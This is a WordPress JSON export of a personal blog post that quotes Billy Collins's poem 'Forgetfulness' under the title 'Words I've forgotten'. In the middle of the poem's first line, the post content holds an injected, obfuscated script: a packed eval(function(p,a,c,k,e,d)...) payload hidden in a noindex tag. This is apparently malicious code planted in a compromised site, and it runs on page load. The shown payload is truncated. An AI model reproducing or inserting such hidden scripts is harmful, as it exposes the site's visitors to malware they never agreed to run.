{"id":600,"date":"2009-10-28T07:33:31","date_gmt":"2009-10-28T14:33:31","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=600"},"modified":"2012-05-02T11:37:56","modified_gmt":"2012-05-02T18:37:56","slug":"words-ive-forgotten","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=600","title":{"rendered":"Words I&#8217;ve forgotten"},"content":{"rendered":"<p style=\"padding-left: 30px;\"><strong>goldfish<br \/>\nimmured<br \/>\nsaracen<\/strong><\/p>\n<p style=\"padding-left: 30px;\"><!--more--><\/p>\n<p><strong><span style=\"color: #993366;\">Forgetfulness<\/span><\/strong><\/p>\n<p><span style=\"color: #993366;\">The <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new 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brain,<\/span><br \/>\n<span style=\"color: #993366;\"> to a little fishing village where there are no phones.<\/span><\/p>\n<p><span style=\"color: #993366;\">Long ago you kissed the names of the nine Muses goodbye<\/span><br \/>\n<span style=\"color: #993366;\"> and watched the quadratic equation pack its bag,<\/span><br \/>\n<span style=\"color: #993366;\"> and even now as you memorize the order of the planets,<\/span><\/p>\n<p><span style=\"color: #993366;\">something else is slipping away, a state flower perhaps,<\/span><br \/>\n<span style=\"color: #993366;\"> the address of an uncle, the capital of Paraguay.<\/span><\/p>\n<p><span style=\"color: #993366;\">Whatever it is you are struggling to remember,<\/span><br \/>\n<span style=\"color: #993366;\"> it is not poised on the tip of your tongue,<\/span><br \/>\n<span style=\"color: #993366;\"> not even lurking in some obscure corner of your spleen.<\/span><\/p>\n<p><span style=\"color: #993366;\">It has floated away down a dark mythological river<\/span><br \/>\n<span style=\"color: #993366;\"> whose name begins with an L as far as you can recall,<\/span><br \/>\n<span style=\"color: #993366;\"> well on your own way to oblivion where you will join those<\/span><br \/>\n<span style=\"color: #993366;\"> who have even forgotten how to swim and how to ride a bicycle.<\/span><\/p>\n<p><span style=\"color: #993366;\">No wonder you rise in the middle of the night<\/span><br \/>\n<span style=\"color: #993366;\"> to look up the date of a famous battle in a book on war.<\/span><br \/>\n<span style=\"color: #993366;\"> No wonder the moon in the window seems to have drifted<\/span><br \/>\n<span style=\"color: #993366;\"> out of a love poem that you used to know by heart.<\/span><\/p>\n<p><span style=\"color: #993366;\">~ Billy Collins<\/span><\/p>\n","protected":false},"excerpt":{"rendered":"<p>goldfish immured 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